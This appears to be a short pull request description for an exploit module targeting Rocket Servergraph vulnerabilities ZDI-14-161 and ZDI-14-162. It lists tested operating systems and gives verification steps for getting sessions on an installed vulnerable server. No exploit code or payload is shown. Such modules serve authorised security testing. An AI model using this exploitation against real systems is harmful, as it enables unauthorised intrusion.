Add module for Rocket Servergraph ZDI-14-161 and ZDI-14-162

Tested successfully with the last version of Rocket Servergraph on Windows 7 SP1 32 bits, W2008 R2 x64, and Ubuntu 12.04 64 bits.


Verification
----------

- [ ] Install Rocket Servergraph server on any of the tested operating systems. At the end of last week, the last version available for demo purposes was vulnerable.
- [ ] Run the module like in the DEMO below, hopefully you get sessions
